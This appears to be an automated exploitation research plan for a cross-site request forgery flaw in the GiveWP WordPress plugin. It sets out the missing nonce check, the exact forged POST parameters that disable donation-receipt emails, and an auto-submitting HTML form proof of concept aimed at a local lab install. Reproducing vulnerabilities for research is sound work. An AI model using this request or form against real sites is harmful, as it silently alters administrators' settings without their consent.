Exploitation Research Plan: CVE-2026-11981 (GiveWP CSRF)

1. Vulnerability Summary

The GiveWP plugin (<= 4.15.3) is vulnerable to Cross-Site Request Forgery (CSRF) because the function give_set_notification_status_handler() lacks any nonce validation. While the function performs a capability check (current_user_can( 'manage_give_settings' )), it does not verify the intent of the user. An attacker can trick an authenticated administrator into clicking a link or visiting a malicious site that submits a forged request to the vulnerable AJAX endpoint, allowing the attacker to enable or disable specific donation email notifications.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: give_set_notification_status
• HTTP Method: POST
• Authentication Required: Administrator (or user with manage_give_settings capability)
• Vulnerable Parameter(s):
  • notification_id: The ID of the notification to modify (e.g., donation-receipt).
  • status: The target status (e.g., disabled or enabled).
• Preconditions: An administrator must be logged in and perform a request (typically via an auto-submitting HTML form on an attacker-controlled page).

3. Code Flow

1. The AJAX request is dispatched to admin-ajax.php with action=give_set_notification_status.
2. WordPress triggers the hook: add_action( 'wp_ajax_give_set_notification_status', 'give_set_notification_status_handler' ) in includes/admin/emails/ajax-handler.php.
3. The function give_set_notification_status_handler() is called:
   • It checks permissions using current_user_can( 'manage_give_settings' ).
   • It retrieves notification_id and status from $_POST.
   • Vulnerability: It proceeds directly to give_update_option() without calling check_ajax_referer() or wp_verify_nonce().
4. give_update_option( "{$notification_id}_notification", $_POST['status'] ) updates the database.
5. The server returns wp_send_json_success().

4. Nonce Acquisition Strategy

No nonce is required.
The vulnerability is specifically characterized by the absence of nonce validation. The give_set_notification_status_handler function in includes/admin/emails/ajax-handler.php does not contain any calls to check_ajax_referer or wp_verify_nonce.

5. Exploitation Strategy

The goal is to disable the "Donation Receipt" email notification using a CSRF attack.

Step-by-Step Plan:

1. Identify Notification ID: Typical GiveWP notification IDs include donation-receipt, new-donation, and donor-register.
2. Prepare Exploit: Construct a POST request to admin-ajax.php.
3. Execute Request: Use the http_request tool to simulate the authenticated administrator sending the request.

HTTP Request Details:

• URL: {{BASE_URL}}/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: give_set_notification_status
  • notification_id: donation-receipt
  • status: disabled

6. Test Data Setup

1. Install Plugin: Ensure GiveWP <= 4.15.3 is active.
2. Verify Initial State: Ensure the "Donation Receipt" notification is currently enabled in GiveWP settings.
   • Navigate to: GiveWP -> Settings -> Emails -> Notifications.
   • Locate "Donation Receipt" and confirm it is "Enabled".
3. User Role: Create or identify an administrator user to serve as the victim.

7. Expected Results

• Response Body: {"success":true}
• Response Status: 200 OK
• Database Change: The setting for donation-receipt_notification will be updated to disabled.

8. Verification Steps

1. WP-CLI Verification: Check the value of the updated setting.

   wp option get give_settings --format=json
   

   Note: GiveWP settings are usually stored in a serialized array under the give_settings option. Check for the key donation-receipt_notification within that array.
2. UI Verification: Log in as an admin and navigate to GiveWP -> Settings -> Emails -> Notifications. Observe that "Donation Receipt" is now "Disabled".

9. Alternative Approaches

• Different Notification: If donation-receipt is already disabled, target new-donation (Admin notification).
• Enable instead of Disable: If the goal is to demonstrate unauthorized modification, change status from disabled to enabled.
• HTML Form PoC: Create an HTML file on the server and use browser_navigate to visit it as the admin:

  <form id="csrf" action="http://localhost:8080/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="give_set_notification_status">
      <input type="hidden" name="notification_id" value="donation-receipt">
      <input type="hidden" name="status" value="disabled">
  </form>
  <script>document.getElementById('csrf').submit();</script>